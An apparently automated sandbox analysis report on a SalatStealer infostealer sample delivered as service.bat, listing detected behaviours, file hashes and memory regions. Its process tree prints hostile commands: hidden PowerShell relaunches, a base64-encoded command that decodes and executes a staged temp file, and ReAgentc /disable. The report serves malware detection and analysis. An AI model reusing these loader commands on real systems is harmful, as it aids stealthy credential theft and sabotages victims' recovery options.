Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/10/2026, 05:49

General

  • Target
    service.bat
  • Size 4.6MB
  • Sample261030-gh3ecswtbw
  • SHA256 78a3fe659ca7ec172cfb93fa8065bdfe8eb7968d358751b75c64fb94e837664a
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: salatstealer

    SalatStealer is a stealer that takes sceenshot written in Golang.

  • Detect SalatStealer payload 15 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Drops file in System32 directory 2 IoCs
  • UPX packed file 19 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 3 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 5 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 49 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\service.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3532
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -c "$p=$env:LCBAT; Start-Process -WindowStyle Hidden -FilePath $env:ComSpec -ArgumentList @('/c',([char]34+$p+[char]34),'h')"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3016
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\service.bat" h
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5612
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoP -NonI -W Hidden -Exec Bypass -e "JABmAD0AWwBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFQAZQBtAHAAUABhAHQAaAAoACkAKwAnAGwAYwBfADMANQA0ADgAXwAxADcAOAA5ADIAMQA4ADMAOAA4ADgANAA4ADAAMQA3ADIAMAAwAC4AbAA2ADQAJwA7ACQAdAA9AFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAFQAZQB4AHQAKAAkAGYAKQAtAHIAZQBwAGwAYQBjAGUAJwBbAFwAcgBcAG4AXQAnACwAJwAnADsAaQBlAHgAKABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHQAKQApACkA"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1348
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pfsiqkou\pfsiqkou.cmdline"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1008
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7DD1.tmp" "c:\Users\Admin\AppData\Local\Temp\pfsiqkou\CSC6F648786BD0C4A8F8628169F51949C9.TMP"
              6⤵
                PID:3808
            • C:\Users\Admin\AppData\Local\Temp\p_f0aa77de-62d1-48be-8b8c-d1623e5c8173.exe
              "C:\Users\Admin\AppData\Local\Temp\p_f0aa77de-62d1-48be-8b8c-d1623e5c8173.exe"
              5⤵
              • Executes dropped EXE
              • Drops file in Program Files directory
              • Reads the TCP/IP host and domain name from the registry
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:4784
              • C:\Program Files (x86)\Microsoft.NET\explorer.exe
                "C:\Program Files (x86)\Microsoft.NET\explorer.exe"
                6⤵
                • Executes dropped EXE
                • Drops file in Program Files directory
                • Reads the TCP/IP host and domain name from the registry
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:2732
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe
                  7⤵
                  • UAC bypass
                  • Badlisted process makes network request
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:1576
                  • C:\Windows\SysWOW64\ReAgentc.exe
                    "C:\Windows\system32\ReAgentc.exe" /disable
                    8⤵
                    • Drops file in System32 directory
                    • Drops file in Windows directory
                    • System Location Discovery: System Language Discovery
                    PID:1760
                • C:\Program Files (x86)\Microsoft\Edge\Application\explorer.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\explorer.exe" -
                  7⤵
                  • Executes dropped EXE
                  • Reads the TCP/IP host and domain name from the registry
                  • System Location Discovery: System Language Discovery
                  PID:3120
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k GPSvcGroup
      1⤵
        PID:5132
      • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
        1⤵
          PID:4500
        • C:\Windows\System32\svchost.exe
          C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
          1⤵
            PID:3856

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

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                Downloads

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 a1a4ebe77ba74607125917d9207d5e8bd770905ed711d989b872ce1749da39bb
                • MD5 SHA1 SHA512 TLSH

                RES7DD1.tmp

                • Path C:\Users\Admin\AppData\Local\Temp\RES7DD1.tmp
                • Size 1KB
                • SHA256 d039734c8ca5348e2f3fc2a8527c2a72249cad9b30609d467401ac4cd6bcc428
                • MD5 SHA1 SHA512 TLSH

                __PSScriptPolicyTest_su4b4cpl.fsl.psm1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_su4b4cpl.fsl.psm1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH

                lc_3548_1789218388848017200.b64

                • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.b64
                • Size 1.8MB
                • SHA256 b1d7f7475f16f200b38a5aadb5d3c9f07c650e49aadb9d9c122b36ab3f966d74
                • MD5 SHA1 SHA512 SSDEEP TLSH

                lc_3548_1789218388848017200.b64

                • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.b64
                • Size 4.6MB
                • SHA256 3da2c0a994bf3f0c6a1a7a76ecff6c1a31eeec96be03bc86874909a43d929eec
                • MD5 SHA1 SHA512 SSDEEP TLSH

                lc_3548_1789218388848017200.l64

                • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.l64
                • Size 10KB
                • SHA256 4798a29f55cd8200581123ae2aaa40a4657edd358b7b5b2831506e41663cc293
                • MD5 SHA1 SHA512 SSDEEP TLSH

                p_f0aa77de-62d1-48be-8b8c-d1623e5c8173.exe

                • Path C:\Users\Admin\AppData\Local\Temp\p_f0aa77de-62d1-48be-8b8c-d1623e5c8173.exe
                • Size 3.4MB
                • SHA256 2d14c4c6626d132fceb3e7639a344875db53c10b39a32f0069c3d9453720cd88
                • MD5 SHA1 SHA512 SSDEEP TLSH

                pfsiqkou.dll

                • Path C:\Users\Admin\AppData\Local\Temp\pfsiqkou\pfsiqkou.dll
                • Size 5KB
                • SHA256 2c167e0f9b2bbaed01a5e54426b3506530335abb518a4de9c7338c68080e0301
                • MD5 SHA1 SHA512 SSDEEP TLSH

                CSC6F648786BD0C4A8F8628169F51949C9.TMP

                • Path \??\c:\Users\Admin\AppData\Local\Temp\pfsiqkou\CSC6F648786BD0C4A8F8628169F51949C9.TMP
                • Size 652B
                • SHA256 4df0c99ff8a407ce6383e9338f951e59d6df8d608765c245d309baed6ed48579
                • MD5 SHA1 SHA512 TLSH

                pfsiqkou.0.cs

                • Path \??\c:\Users\Admin\AppData\Local\Temp\pfsiqkou\pfsiqkou.0.cs
                • Size 2KB
                • SHA256 f48c932311da4613b034f7a793b257a73ccd428c9c8758b19d312b7d208f3852
                • MD5 SHA1 SHA512 TLSH

                pfsiqkou.cmdline

                • Path \??\c:\Users\Admin\AppData\Local\Temp\pfsiqkou\pfsiqkou.cmdline
                • Size 369B
                • SHA256 983555688888f52cc0d8623424f84d4bb353c536adde947d736745dd95bec3ee
                • MD5 SHA1 SHA512 TLSH

                memory/1348-828-0x000001D46DAC0000-0x000001D46DAC8000-memory.dmp

                memory/1576-854-0x0000000005320000-0x000000000596A000-memory.dmp

                memory/1576-876-0x00000000074C0000-0x00000000074E0000-memory.dmp

                memory/1576-883-0x0000000008890000-0x0000000008E4A000-memory.dmp

                memory/1576-882-0x0000000007B20000-0x0000000007B42000-memory.dmp

                memory/1576-881-0x0000000007720000-0x00000000077B6000-memory.dmp

                memory/1576-880-0x0000000007670000-0x000000000767A000-memory.dmp

                memory/1576-879-0x0000000007610000-0x000000000762A000-memory.dmp

                memory/1576-878-0x0000000007C50000-0x00000000082CC000-memory.dmp

                memory/1576-873-0x0000000070D90000-0x00000000710EB000-memory.dmp

                memory/1576-877-0x00000000074E0000-0x0000000007583000-memory.dmp

                memory/1576-872-0x0000000070C30000-0x0000000070C7C000-memory.dmp

                memory/1576-871-0x0000000007480000-0x00000000074B6000-memory.dmp

                memory/1576-869-0x00000000065F0000-0x0000000006638000-memory.dmp

                memory/1576-861-0x0000000006030000-0x000000000604E000-memory.dmp

                memory/1576-862-0x0000000006270000-0x00000000062BC000-memory.dmp

                memory/1576-853-0x00000000027D0000-0x0000000002806000-memory.dmp

                memory/1576-860-0x0000000005C50000-0x0000000005FAB000-memory.dmp

                memory/1576-855-0x0000000005240000-0x0000000005262000-memory.dmp

                memory/1576-856-0x0000000005970000-0x00000000059D6000-memory.dmp

                memory/1576-857-0x00000000059E0000-0x0000000005A46000-memory.dmp

                memory/2732-899-0x0000000000270000-0x0000000000EC5000-memory.dmp

                memory/2732-852-0x0000000000270000-0x0000000000EC5000-memory.dmp

                memory/2732-851-0x0000000000270000-0x0000000000EC5000-memory.dmp

                memory/2732-892-0x0000000000270000-0x0000000000EC5000-memory.dmp

                memory/2732-896-0x0000000000270000-0x0000000000EC5000-memory.dmp

                memory/2732-895-0x0000000000270000-0x0000000000EC5000-memory.dmp

                memory/2732-849-0x0000000000270000-0x0000000000EC5000-memory.dmp

                memory/2732-897-0x0000000000270000-0x0000000000EC5000-memory.dmp

                memory/2732-898-0x0000000000270000-0x0000000000EC5000-memory.dmp

                memory/2732-894-0x0000000000270000-0x0000000000EC5000-memory.dmp

                memory/2732-891-0x0000000000270000-0x0000000000EC5000-memory.dmp

                memory/2732-889-0x0000000000270000-0x0000000000EC5000-memory.dmp

                memory/3016-0-0x00007FFD5B52F000-0x00007FFD5B530000-memory.dmp

                memory/3016-5-0x00007FFD5B3A0000-0x00007FFD5BD44000-memory.dmp

                memory/3016-6-0x00007FFD5B3A0000-0x00007FFD5BD44000-memory.dmp

                memory/3016-7-0x00007FFD5B3A0000-0x00007FFD5BD44000-memory.dmp

                memory/3016-10-0x00007FFD5B3A0000-0x00007FFD5BD44000-memory.dmp

                memory/3016-4-0x00007FFD5B3A0000-0x00007FFD5BD44000-memory.dmp

                memory/3016-3-0x000001D74EFF0000-0x000001D74F012000-memory.dmp

                memory/3016-9-0x00007FFD5B3A0000-0x00007FFD5BD44000-memory.dmp

                memory/3120-868-0x0000000000BC0000-0x0000000001815000-memory.dmp

                memory/3120-870-0x0000000000BC0000-0x0000000001815000-memory.dmp

                memory/4784-850-0x0000000000CF0000-0x0000000001945000-memory.dmp

                memory/4784-842-0x0000000000CF0000-0x0000000001945000-memory.dmp

                memory/4784-841-0x0000000000CF0000-0x0000000001945000-memory.dmp

                memory/4784-838-0x0000000000CF0000-0x0000000001945000-memory.dmp